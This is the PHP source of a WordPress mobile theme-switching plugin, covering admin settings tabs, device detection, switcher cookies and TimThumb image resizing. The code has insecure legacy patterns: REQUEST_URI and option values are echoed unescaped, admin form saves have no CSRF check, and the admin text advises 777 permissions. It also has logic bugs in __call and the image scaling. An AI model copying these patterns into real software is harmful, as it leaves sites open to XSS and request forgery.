$option_key * @return void */ public function getOption($options, $option_key) { if ($options && isset($options[$option_key])) { return $options[$option_key]; } return false; } /** * Set meta data option from a checkbox in the admin * @param array $options * @param type $meta_key * @param type $label * @return array status message array */ private function adminSetOptionFromCheckbox(&$options, $meta_key, $label) { $status_message = array(); if (isset($_POST[$meta_key])) { // enable theme switching if ($options[$meta_key] != true) { $options[$meta_key] = true; $status_message = array('updated', $label.' : '.__('enabled', MOBILESMART_DOMAIN)); } } else { // disable theme switching if ($options[$meta_key] != false) { $options[$meta_key] = false; $status_message = array('updated', $label.' : '.__('disabled', MOBILESMART_DOMAIN)); } } return $status_message; } /** * Set meta data option from a checkbox in the admin * @param array $options * @param type $meta_key * @param type $label * @return array status message array */ private function adminSetOptionFromTextboxURL(&$options, $meta_key, $label) { $status_message = array(); if (isset($_POST[$meta_key])) { $options[$meta_key] = filter_var($_POST[$meta_key], FILTER_SANITIZE_URL); $status_message = array('updated', $label.' : '.__('saved', MOBILESMART_DOMAIN)); } else { $options[$meta_key] = ''; $status_message = array('updated', $label.' : '.__('saved', MOBILESMART_DOMAIN)); } return $status_message; } // ------------------------------------------------------------------------- // Method: displayAdminOptions // Description: displays the admin panel // ------------------------------------------------------------------------- function displayAdminOptions() { $options = $this->getAdminOptions(); if (is_multisite()) { $args = array('allowed'=>'site', 'errors'=>false, 'blog_id'=>0); } else { $args = null; } $themes = wp_get_themes($args); $current_tab = (isset($_GET['tab']) ? $_GET['tab'] : 1); /*echo '<pre>'; print_r($_POST); echo '</pre>';*/ if (isset($_POST['submit'])) { $status_messages = array(); switch ($current_tab) { case 1: // Enable / Disable theme switching $status_messages[] = $this->adminSetOptionFromCheckbox($options, 'enable_theme_switching', __('Theme switching', MOBILESMART_DOMAIN)); // Get choice of mobile theme if ($this->getOption($options, 'mobile_theme') != $_POST['theme']) { $theme_name = $_POST['theme']; $theme = wp_get_theme($theme_name); $options['mobile_theme'] = $theme->stylesheet; $options['mobile_theme_template'] = $theme->template; $options['mobile_theme_stylesheet'] = $theme->stylesheet; $status_messages[] = array('updated', __('Mobile theme updated to: ', MOBILESMART_DOMAIN) . $theme->stylesheet); } // Enable / Disable switching for tablets $status_messages[] = $this->adminSetOptionFromCheckbox($options, 'switch_for_tablets', __('Switching for Tablets', MOBILESMART_DOMAIN)); break; case 2: // Enable / Disable domain switching $status_messages[] = $this->adminSetOptionFromCheckbox($options, 'enable_domain_switching', __('Domain Switching', MOBILESMART_DOMAIN)); // Save Domain Switching URL $status_messages[] = $this->adminSetOptionFromTextboxURL($options, 'mobile_domain', __('Mobile Domain', MOBILESMART_DOMAIN)); break; case 3: // Enable / Disable manual switching $status_messages[] = $this->adminSetOptionFromCheckbox($options, 'enable_manual_switch', __('Manual theme switching', MOBILESMART_DOMAIN)); // Enable / Disable footer manual switching $status_messages[] = $this->adminSetOptionFromCheckbox($options, 'enable_manual_switch_in_footer', __('Manual theme switching in footer', MOBILESMART_DOMAIN)); // Enable / Disable desktop manual switching $status_messages[] = $this->adminSetOptionFromCheckbox($options, 'allow_desktop_switcher', __('Manual theme switching on desktop', MOBILESMART_DOMAIN)); break; case 4: // Enable / Disable image transcoding $status_messages[] = $this->adminSetOptionFromCheckbox($options, 'enable_image_transcoding', __('Image transcoding', MOBILESMART_DOMAIN)); break; case 5: // Enable / Disable mobile pages $status_messages[] = $this->adminSetOptionFromCheckbox($options, 'enable_mobile_pages', __('Mobile Pages', MOBILESMART_DOMAIN)); } // output status messages if (!empty($status_messages)) { ?> <div class="updated"> <?php foreach ($status_messages as $message) : ?> <p><strong><?php echo isset($message[1]) ? $message[1] : ''; ?></strong></p> <?php endforeach; ?> </div> <?php } // update the options update_option($this->admin_optionsName, $options); } // Display the admin page ?> <script type="text/javascript"> </script> <div class="wrap clearfix"> <style type="text/css" media="all"> #mobilesmart_infobox { border: 1px solid #999; padding: 10px; margin: 10px; background-color: #efefef; float: right; width: 20%; } #mobilesmart_infobox .subsection { border: 1px solid #cdcdcd; padding: 10px; margin: 10px 0; } #mobilesmart_main_container { width: 70%; float: left; } </style> <h2>Mobile Smart</h2> <div id="mobilesmart_infobox"> <div class="subsection clearfix"> <h3>Mobile Smart Pro</h3> <p>The ultimate mobile plugin for WordPress:</p> <ul> <li><strong>Domain Switching</strong> - redirect to a mobile domain (e.g. m.domain.com)</li> <li><strong>Mobile Pages</strong> - mobile specific content direct from your posts & pages</li> <li><strong>Mobile Menus</strong> - mobile versions of your menus</li> <li><strong>Device Detection</strong> - mobileESP or DeviceAtlas support</li> </ul> <a href="http://www.mobile-smart.co.uk/">Find out more</a> </div> <div class="subsection clearfix"> <h3>Mobile Smart Newsletter</h3> <!-- Begin MailChimp Signup Form --> <div id="mc_embed_signup"> <form action="http://dansmart.us2.list-manage.com/subscribe/post?u=d2059b426acf8c7232bd417a2&id=eddd2b41ad" method="post" id="mc-embedded-subscribe-form" name="mc-embedded-subscribe-form" class="validate" target="_blank"> <p><label for="mce-EMAIL">Sign up for Mobile Smart updates, plus articles on developing websites for mobile devices and WordPress. </label> <input type="email" value="" name="EMAIL" class="email" id="mce-EMAIL" placeholder="email address" required/></p> <div class="clear"><input type="submit" value="Subscribe" name="subscribe" id="mc-embedded-subscribe" class="button"></div> </form> </div> <!--End mc_embed_signup--> </div> </div> <div id="mobilesmart_main_container"> <p><em><strong>Mobile theme switching and more</strong></em></p> <p><strong>Tabs overview:</strong><br/><em>Mobile Theme: Set the mobile theme to be displayed when viewed on a mobile device</br> Domain Switching (PRO only): Redirect to a mobile domain (e.g. m.yourdomain.com) when viewed on a mobile device</em><br/> Manual Switching: Add a link in footer (or widget) allowing user to switch between mobile and desktop versions<br/> Transcoding: Resize images to mobile scale<br/> Mobile Pages (PRO only): Mobile versions of normal page content</em> </p> <?php function display_active_tab($tab, $current_tab) { if ($current_tab == $tab) { echo 'nav-tab-active'; } } ?> <h3 class="nav-tab-wrapper"> <a href="<?php echo esc_url(add_query_arg('tab', 1)); ?>" class="nav-tab <?php display_active_tab(1, $current_tab); ?>">Mobile Theme</a> <a href="<?php echo esc_url(add_query_arg('tab', 2)); ?>" class="nav-tab <?php display_active_tab(2, $current_tab); ?>">Domain Switching (PRO)</a> <a href="<?php echo esc_url(add_query_arg('tab', 3)); ?>" class="nav-tab <?php display_active_tab(3, $current_tab); ?>">Manual Switching</a> <a href="<?php echo esc_url(add_query_arg('tab', 4)); ?>" class="nav-tab <?php display_active_tab(4, $current_tab); ?>">Transcoding</a> <a href="<?php echo esc_url(add_query_arg('tab', 5)); ?>" class="nav-tab <?php display_active_tab(5, $current_tab); ?>">Mobile Pages (PRO)</a> </h3> <form method="post" action="<?php echo $_SERVER["REQUEST_URI"]; ?>"> <?php switch ($current_tab) { case 1: $this->displayAdminTabMobileTheme($options, $themes); break; case 2: $this->displayAdminTabDomainSwitching($options); break; case 3: $this->displayAdminTabManualSwitching($options); break; case 4: $this->displayAdminTabTranscoding($options); break; case 5: $this->displayAdminTabMobilePages($options); break; default: $this->displayAdminTabMobileTheme($options, $themes); break; } ?> <div class="submit"> <input type="submit" name="submit" value="<?php _e('Update Settings', 'MobileSmart'); ?>" class="button button-primary" /> </div> </form> </div> </div> <?php } /** * display mobile theme admin tab * @param type $options * @param type $themes */ function displayAdminTabMobileTheme($options, $themes) { ?> <h3>Mobile Theme</h3> <h4>Mobile Switching</h4> <p>Enable switching via user agent detection:</p> <label for="enable_theme_switching">Enable <input type="checkbox" name="enable_theme_switching" id="enable_theme_switching" <?php if ($options['enable_theme_switching']) { echo "checked"; } ?>/></label> <fieldset> <label for="theme">Mobile theme: <select id="theme" name="theme"> <?php foreach ($themes as $theme_name => $theme) { ?> <option value="<?php echo $theme_name; ?>" <?php if ($theme->stylesheet == $this->getOption($options, 'mobile_theme')) { echo "selected"; } ?>><?php echo $theme['Name']; ?></option> <?php } ?> </select></label> </fieldset> <h4>Tablets</h4> <p> <em>Most people choose to show the desktop theme on tablets such as iPads. You may wish to enable your mobile theme and pull in a tablet specific stylesheet and/or other content via the mobile theme.</em></p> <p> <label for="switch_for_tablets">Enable theme switching for tablets (e.g. iPad): <input type="checkbox" name="switch_for_tablets" id="switch_for_tablets" <?php if ($options['switch_for_tablets']) { echo "checked"; } ?>/></label> </p> <?php } /** * Display domain switching tab * @param type $options */ function displayAdminTabDomainSwitching($options) { ?> <h3>Domain Switching (PRO)</h3> <?php $this->displayProNotice(); ?> <div style="color: #999"> <p>If a user arrives at your mobile subdomain, you can automatically switch to the mobile theme by enabling domain switching.</p> <p>If you also have manual switching enabled, manual switching will take priority - so they will be redirected to the desktop version of the site until they switch back.</p> <p> <label for="enable_domain_switching"><strong>Enable domain switching: </strong> <input type="checkbox" disabled="disabled" name="enable_domain_switching" id="enable_domain_switching" <?php if ($options['enable_domain_switching']) { echo "checked"; } ?>/></label> </p> <p> <label for="mobile_domain"><strong>Your mobile domain: </strong> <input type="text" name="mobile_domain" disabled="disabled" value="<?php echo $options['mobile_domain']; ?>"/></label><em> You must enable domain switching and have a subdomain for this to function correctly.</em> </p> <br/> <h4><em>Notes on subdomains and DNS</em></h4> <p><em>To use a mobile subdomain, you'll need to go to your DNS control panel (domain name), and create either an A record or a CNAME record pointing to the same location. An A record would point the to the same IP address, a CNAME record would point to the main domain.</em></p> <p><em>If you're on shared hosting, you may need to get your hosting provider to add your mobile subdomain as a 'parked domain' to your account so that the server points you to your existing account.</em></p> </div> <?php } /** * display Transcoding admin tab * @param type $options */ function displayAdminTabTranscoding($options) { ?> <h3>Transcoding</h3> <h4>In development: Enable image transcoding</h4> <p>Do not enable this unless you want to try the TimThumb powered image transcoding. Make sure you enable your cache folder to 777.</p> <p><em>Manual switching (above) must be enabled for this to work properly.</em></p> <label for="enable_image_transcoding">Enable image transcoding <input type="checkbox" name="enable_image_transcoding" id="enable_image_transcoding" <?php if ($options['enable_image_transcoding']) { echo "checked"; } ?>/> </label> <?php } /** * Display Manual Switching admin tab * @param type $options */ function displayAdminTabManualSwitching($options) { ?> <h3>Manual Switching</h3> <h4>Enable Manual Switcher</h4> <p>You can add a link to your pages which will allow the user to manually select the version (desktop or mobile) that they want. Once you enable Manual Switching, you can use either the footer link or the Mobile Smart Manual Switcher widget.</p> <label for="enable_manual_switch"><strong>Enable Manual Switcher:</strong> <input type="checkbox" name="enable_manual_switch" id="enable_manual_switch" <?php if ($options['enable_manual_switch']) { echo "checked"; } ?>/> </label><br/> <h4>Enable a Manual Switcher link in the footer</h4> <p><em>Manual switching (above) must be enabled for this to work properly.</em></p> <label for="enable_manual_switch_in_footer"><strong>Enable Manual Switcher in footer:</strong> <input type="checkbox" name="enable_manual_switch_in_footer" id="enable_manual_switch_in_footer" <?php if ($options['enable_manual_switch_in_footer']) { echo "checked"; } ?>/> </label><br/> <h4>Allow manual switching on desktop</h4> <p>This is most useful for debugging your themes. You probably do not want to allow your users to switch to the mobile version whilst viewing on a desktop in other cases.</p> <p><em>Manual switching (above) must be enabled for this to work properly.</em></p> <label for="allow_desktop_switcher"><strong>Enable Manual Switcher Link whilst on Desktop</strong> <input type="checkbox" name="allow_desktop_switcher" id="allow_desktop_switcher" <?php if ($options['allow_desktop_switcher']) { echo "checked"; } ?>/> </label> <?php } /** * Display Mobile Pages admin tab * @param type $options */ function displayAdminTabMobilePages($options) { ?> <h3>Mobile Pages</h3> <?php $this->displayProNotice(); ?> <div style="color: #999"> <p>It can be beneficial to have mobile versions of your content, specifically targeted at the smaller mobile pages.</p> <p> <label for="enable_mobile_pages"><strong>Enable Mobile Pages</strong> <input type="checkbox" disabled="disabled" name="enable_mobile_pages" <?php if ($options['enable_mobile_pages']) { echo "checked"; } ?>/></label> </p> </div> <?php } function displayProNotice() { ?> <p><a href="http://codecanyon.net/item/mobile-smart-pro/3671362?ref=dansmart" target="_top">Buy Mobile Smart PRO</a> from CodeCanyon with tonnes of added features</p> <?php } // --------------------------------------------------------------------------- // Function: getUserAgentString // Description: gets the user agent string // --------------------------------------------------------------------------- function getUserAgentString() { return $this->Get_Uagent(); } // --------------------------------------------------------------------------- // Function: getAcceptString // Description: gets the accept string // --------------------------------------------------------------------------- function getAcceptString() { return $this->Get_HttpAccept(); } // --------------------------------------------------------------------------- // Function: getCurrentDevice // Description: gets the current device // --------------------------------------------------------------------------- function getCurrentDevice() { if ($this->device == '') { if ($this->DetectOperaMini()) { $this->device = MOBILE_DEVICE_OPERA_MINI; } else if ($this->DetectIpad()) { $this->device = MOBILE_DEVICE_IPAD; } else if ($this->DetectIphone()) { $this->device = MOBILE_DEVICE_IPHONE; } else if ($this->DetectIpod()) { $this->device = MOBILE_DEVICE_IPOD; } else if ($this->DetectAndroid()) { $this->device = MOBILE_DEVICE_ANDROID; } else if ($this->DetectAndroidTablet()) { $this->device = MOBILE_DEVICE_ANDROID_TABLET; } else if ($this->DetectAndroidWebkit()) { $this->device = MOBILE_DEVICE_ANDROID_WEBKIT; } else if ($this->DetectSeries60()) { $this->device = MOBILE_DEVICE_SERIES60; } else if ($this->DetectSymbianOS()) { $this->device = MOBILE_DEVICE_SYMBIAN_OS; } else if ($this->DetectWindowsMobile()) { $this->device = MOBILE_DEVICE_WINDOWS_MOBILE; } else if ($this->DetectWindowsPhone7()) { $this->device = MOBILE_DEVICE_WINDOWS_PHONE_7; } else if ($this->DetectBlackBerry()) { $this->device = MOBILE_DEVICE_BLACKBERRY; } else if ($this->DetectBlackBerryTablet()) { $this->device = MOBILE_DEVICE_BLACKBERRY_TABLET; } else if ($this->DetectBlackBerryWebkit()) { $this->device = MOBILE_DEVICE_BLACKBERRY_WEBKIT; } else if ($this->DetectBlackBerryTouch()) { $this->device = MOBILE_DEVICE_BLACKBERRY_TOUCH; } else if ($this->DetectPalmOS()) { $this->device = MOBILE_DEVICE_PALM_OS; } else if ($this->DetectIsMobile()) { $this->device = MOBILE_DEVICE_OTHER; } // To do...add the rest } return $this->device; } // --------------------------------------------------------------------------- // Function: getCurrentDeviceTier // Description: gets the current device tier // --------------------------------------------------------------------------- function getCurrentDeviceTier() { if ($this->device_tier == '') { if ($this->DetectTierTablet()) { $this->device_tier = MOBILE_DEVICE_TIER_TABLET; } if ($this->DetectTierIphone()) { $this->device_tier = MOBILE_DEVICE_TIER_TOUCH; } if ($this->DetectTierRichCSS()) { $this->device_tier = MOBILE_DEVICE_TIER_RICH_CSS; } if ($this->DetectTierRichCss()) { $this->device_tier = MOBILE_DEVICE_TIER_SMARTPHONE; } if ($this->DetectTierOtherPhones()) { $this->device_tier = MOBILE_DEVICE_TIER_OTHER; } } return $this->device_tier; } // --------------------------------------------------------------------------- // Function: filter_add_body_classes // Description: adds device specific CSS class to the body // - Filter: see add_filter('body_class'...) // --------------------------------------------------------------------------- function filter_addBodyClasses($classes) { $options = $this->getAdminOptions(); // if theme switching enabled if ($options['enable_theme_switching'] == true) { // if is a mobile device if ($this->DetectIsMobile()) { $classes[] .= "mobile" ; } // add current device string to body class $classes[] .= $this->getCurrentDevice(); // add the tier of device also to body class $classes[] .= $this->getCurrentDeviceTier(); } return $classes; } // --------------------------------------------------------------------------- // Function: filter_switchTheme // Description: switches the theme if it's a mobile device to the specified theme // - Filter: see add_filter('template'...) // --------------------------------------------------------------------------- function filter_switchTheme($theme) { // get options $options = $this->getAdminOptions(); // if theme switching enabled if ($options['enable_theme_switching'] == true && !is_admin()) { // if is a mobile device or is mobile due to cookie switching $switch_theme = apply_filters('mobile_smart_switch_theme', $this->switcher_isMobile()); if ($switch_theme) { $theme = $this->getOption($options, 'mobile_theme_template'); // if we've not got the theme here, we're out of sync between Mobile Smart versions, but we can recover if (!$theme) { $theme_template = wp_get_theme($this->getOption($options, 'mobile_theme_stylesheet')); $theme = $theme_template['Template']; } } } return $theme; } // --------------------------------------------------------------------------- // Function: filter_switchTheme_stylesheet // Description: switches the theme if it's a mobile device to the specified theme - stylesheet - for child themes // - Filter: see add_filter('template'...) // --------------------------------------------------------------------------- function filter_switchTheme_stylesheet($theme) { // get options $options = $this->getAdminOptions(); // get options $options = $this->getAdminOptions(); // if theme switching enabled if ($this->getOption($options, 'enable_theme_switching') == true && !is_admin()) { // if is a mobile device or is mobile due to cookie switching $switch_theme = apply_filters('mobile_smart_switch_theme', $this->switcher_isMobile()); if ($switch_theme) { $theme = $this->getOption($options, 'mobile_theme_stylesheet'); } } return $theme; } //--------------------------------------------------------------------------- // Function: switcher_isMobile // Description: determines whether the mode is mobile or switched // --------------------------------------------------------------------------- function switcher_isMobile() { $is_mobile = false; // get the mobile detect value $detectmobile = $this->DetectIsMobile(); // check the switcher cookie $is_mobile = $this->switcher_getMobileCookieDetect($detectmobile); //echo "Is Mobile: ".($is_mobile ? "true" : "false")."<br/><br/>"; return $is_mobile; } /** * Detect if it's mobile from the cookie - overrides mobile status * @param boolean $detectmobile * @return boolean */ function switcher_getMobileCookieDetect($detectmobile) { if (!$this->detect_from_cookie) { // check the switcher cookie if ($detectmobile && $this->switcher_cookie) { if (($this->switcher_cookie == MOBILESMART_SWITCHER_DESKTOP_STR)) { $is_mobile = false; } else { $is_mobile = true; } } // if we're not a mobile, then we invert the check string else if (!$detectmobile) { if (($this->switcher_cookie == MOBILESMART_SWITCHER_MOBILE_STR)) { $is_mobile = true; } else { $is_mobile = false; } } else { $is_mobile = $detectmobile; } $this->detect_from_cookie = $is_mobile; } //echo "Is Mobile: ".($is_mobile ? "true" : "false")."<br/><br/>"; return $this->detect_from_cookie; } /** * is it a mobile device (including iPad) * @return boolean */ function DetectIsMobile() { if (!$this->detectmobile) { $options = $this->getAdminOptions(); $is_mobile = false; if (isset($options['switch_for_tablets']) && $options['switch_for_tablets']) { $is_mobile = $this->DetectMobileQuick() || $this->DetectIpad() || $this->DetectAndroidTablet(); } else { $is_mobile = $this->DetectMobileQuick(); } $this->detectmobile = $is_mobile; } return $this->detectmobile; } // --------------------------------------------------------------------------- // Function: addSwitcherLink // Description: checks if the plugin option is enabled and if so adds the html switcher // --------------------------------------------------------------------------- function addSwitcherLink() { // get options $options = $this->getAdminOptions(); // if theme switching enabled if ($options['enable_manual_switch'] == true) { // if is a mobile device or cookie switcher allows it. $is_mobile = $this->switcher_isMobile(); if ($is_mobile || $options['allow_desktop_switcher']) { ?> <!-- START MobileSmart - Switcher - http://www.dansmart.co.uk/ --> <div id="mobilesmart_switcher"> <?php if ($is_mobile) : ?> <a href="<?php echo esc_url($this->get_switcherLink(MOBILESMART_SWITCHER_DESKTOP_STR)); ?>"><?php _e('Switch to desktop version', MOBILESMART_DOMAIN); ?></a> <?php else : ?> <a href="<?php echo esc_url($this->get_switcherLink(MOBILESMART_SWITCHER_MOBILE_STR)); ?>"><?php _e('Switch to mobile version', MOBILESMART_DOMAIN); ?></a> <?php endif; ?> </div> <!-- END MobileSmart - Switcher - http://www.dansmart.co.uk/ --> <?php } } } // --------------------------------------------------------------------------- // Function: action_addSwitcherLinkInFooter // Description: action call for too add link into wp_footer // --------------------------------------------------------------------------- function action_addSwitcherLinkInFooter() { // get options $options = $this->getAdminOptions(); // if theme switching enabled if ($options['enable_manual_switch'] == true && $options['enable_manual_switch_in_footer'] == true) { // display the link $this->addSwitcherLink(); } } /** * Run init action */ function action_init() { // get options $options = $this->getAdminOptions(); // if theme switching enabled if ($options['enable_theme_switching'] == true) { $is_mobile = $this->switcher_isMobile(); } } // --------------------------------------------------------------------------- // Function: get_switcherLink // Description: gets the link to display the switcher // Parameters: version - should be 'mobile' or 'desktop' // --------------------------------------------------------------------------- function get_switcherLink($version) { $switcher_str = add_query_arg (array (MOBILESMART_SWITCHER_GET_PARAM => $version)); return $switcher_str; } // --------------------------------------------------------------------------- // Function: action_addSwitcherLink // Description: checks if the html switcher link has been called and acts appropriately // --------------------------------------------------------------------------- function action_handleSwitcherLink() { if (isset($_GET[MOBILESMART_SWITCHER_GET_PARAM])) { // get the version $version = $_GET[MOBILESMART_SWITCHER_GET_PARAM]; // set the cookie to say which version it is setcookie(MOBILESMART_SWITCHER_COOKIE, $version, time()+MOBILESMART_SWITCHER_COOKIE_EXPIRE, COOKIEPATH, str_replace(array('http://www','http://'),'',get_bloginfo('url'))); // save version in class for viewing the page before a refresh $this->switcher_cookie = $version; //echo "Version to set: $version<br/>"; //echo "Set version: $this->switcher_cookie<br/><br/>"; } } // --------------------------------------------------------------------------- // Function: isTierTablet // Description: is the current device tier - table // --------------------------------------------------------------------------- function isTierTablet() { return $this->getCurrentDeviceTier() == MOBILE_DEVICE_TIER_TABLET; } // --------------------------------------------------------------------------- // Function: isTierTouch // Description: is the current device tier - touch // --------------------------------------------------------------------------- function isTierTouch() { return $this->getCurrentDeviceTier() == MOBILE_DEVICE_TIER_TOUCH; } // --------------------------------------------------------------------------- // Function: isTierRichCSS // Description: is the current device tier - Rich CSS // --------------------------------------------------------------------------- function isTierRichCSS() { return $this->getCurrentDeviceTier() == MOBILE_DEVICE_TIER_RICH_CSS; } // --------------------------------------------------------------------------- // Function: isTierSmartphone // Description: is the current device tier - smartphone // --------------------------------------------------------------------------- function isTierSmartphone() { return $this->getCurrentDeviceTier() == MOBILE_DEVICE_TIER_SMARTPHONE; } // --------------------------------------------------------------------------- // Function: isTierOtherMobile // Description: is the current device tier - other mobile devices (non-smartphone / non-touch) // --------------------------------------------------------------------------- function isTierOtherMobile() { return $this->getCurrentDeviceTier() == MOBILE_DEVICE_TIER_OTHER; } /** * Magic function - to catch old naming scheme of method with decapitalised first character. Change was caused by inclusion of mdetect.php * @param type $name * @param type $arguments */ function __call($name, $arguments) { $old_naming_scheme = ucwords($name); // check for method with capitalised first character - for backwards compatibility, as previous plugin had lowercase first characters in method name if (method_exists($this, $old_naming_scheme)) { $name($arguments); } } // ------------------------------------------------------------------------ // Function: filter_processContent // Description: processes the post's content and transcodes the post's images // Credits: idea and regexp taken from wpmp_transcoder.php, but brought into // MobileSmart domain with improvements // ------------------------------------------------------------------------ function filter_processContent($the_content) { $options = $this->getAdminOptions(); // only process the content if we're in mobile mode if (!$this->switcher_isMobile() || !isset($options['enable_image_transcoding']) || !$options['enable_image_transcoding']) return $the_content; preg_match_all("/\<img.* src=((?:'[^']*')|(?:\"[^\"]*\")).*\>/Usi", $the_content, $images); foreach ($images[0] as $images_key=>$image) { $img_src = $images[1][$images_key]; // remove the site url $site_url = str_replace('/', '\/', get_bloginfo('siteurl')); $img_src = preg_replace("/[\"|']".$site_url."(.*)[\"|']/", '\1', $img_src); // get the width and height preg_match_all("/(width|height)[=:'\"\s]*(\d+)(?:px|[^\d])/Usi", $image, $img_dimensions); $width = 0; $height = 0; foreach ($img_dimensions[2] as $dim_index=>$dim_val) { if ($img_dimensions[1][$dim_index] == 'height') $height = $dim_val; else if ($img_dimensions[1][$dim_index] == 'width') $width = $dim_val; } // * * * * * * * // to do: get max dimensions of images for each device / tier from somewhere like WURFL switch ($this->device_tier) { case MOBILE_DEVICE_TIER_TOUCH: $max_width = MOBILE_DEVICE_TIER_TOUCH_MAX_WIDTH; $max_height = MOBILE_DEVICE_TIER_TOUCH_MAX_HEIGHT; break; case MOBILE_DEVICE_TIER_TABLET: $max_width = MOBILE_DEVICE_TIER_TABLET_MAX_WIDTH; $max_height = MOBILE_DEVICE_TIER_TABLET_MAX_HEIGHT; break; case MOBILE_DEVICE_TIER_SMARTPHONE: $max_width = MOBILE_DEVICE_TIER_SMARTPHONE_MAX_WIDTH; $max_height = MOBILE_DEVICE_TIER_SMARTPHONE_MAX_HEIGHT; break; case MOBILE_DEVICE_TIER_RICH_CSS: $max_width = MOBILE_DEVICE_TIER_RICH_CSS_MAX_WIDTH; $max_height = MOBILE_DEVICE_TIER_RICH_CSS_MAX_HEIGHT; break; case MOBILE_DEVICE_TIER_OTHER: $max_width = MOBILE_DEVICE_TIER_OTHER_MAX_WIDTH; $max_height = MOBILE_DEVICE_TIER_OTHER_MAX_HEIGHT; break; default: $max_width = 100; $max_height = 100; break; } // * * * * * * * // rescale image if ($width > $max_width) { $height = floor($width / $max_width) * $height; $width = $max_width; } if ($height > $max_height) { $width = floor($height / $max_height) * $width; $height = $max_height; } // create new rescaled image $rescaled_image = '<img src="'.plugins_url('/includes/timthumb.php',dirname(__FILE__)).'?src='.$img_src.'&w='.$width.'&h='.$height.'&zc=0"' .' width="'.$width.'"'.' height="'.$height.'"'.'/>'; // replace the entire text of the old image with the text of the resized image $the_content = str_replace($image, $rescaled_image, $the_content); } return $the_content; } /** * Add mobile pages post type */ function mobilePages_init() { $options = $this->getAdminOptions(); if ($options['enable_mobile_pages']) { add_meta_box( 'mobileSmart_mobilePage' ,__( 'Mobile Version', MOBILESMART_DOMAIN ) ,array( &$this, 'mobilePages_displayMetaBox' ) ,'post' ,'normal' ,'high' ); add_meta_box( 'mobileSmart_mobilePage' ,__( 'Mobile Version', MOBILESMART_DOMAIN ) ,array( &$this, 'mobilePages_displayMetaBox' ) ,'page' ,'normal' ,'high' ); } } } // MobileSmart } // ------------------------------------------------------------------------- // Instantiate class // ------------------------------------------------------------------------- if (class_exists("MobileSmart")) { $mobile_smart = new MobileSmart(); } // ------------------------------------------------------------------------- // Actions and Filters // ------------------------------------------------------------------------- if (isset($mobile_smart)) { // Activation register_activation_hook(__FILE__, array(&$mobile_smart, 'initialisePlugin')); // Switcher { // Actions add_action('admin_menu', 'MobileSmart_ap'); add_action('setup_theme', array($mobile_smart, 'action_handleSwitcherLink')); add_action('wp_footer', array($mobile_smart, 'action_addSwitcherLinkInFooter')); add_action('init', array($mobile_smart, 'action_init')); // Filters add_filter('body_class', array(&$mobile_smart, 'filter_addBodyClasses')); add_filter('template', array(&$mobile_smart, 'filter_switchTheme')); add_filter('stylesheet', array(&$mobile_smart, 'filter_switchTheme_stylesheet')); // } End Switcher // Content transformation { // Filters add_filter('the_content', array(&$mobile_smart, 'filter_processContent')); // } End Content transformation } // ------------------------------------------------------------------------- // initialise the Admin Panel // ------------------------------------------------------------------------- if (!function_exists("MobileSmart_ap")) { function MobileSmart_ap() { global $mobile_smart; if (!isset($mobile_smart)) return; // add the options page if (function_exists('add_options_page')) { add_options_page("Mobile Smart", "Mobile Smart", 'manage_options', basename(__FILE__), array(&$mobile_smart, 'displayAdminOptions')); } } } ?>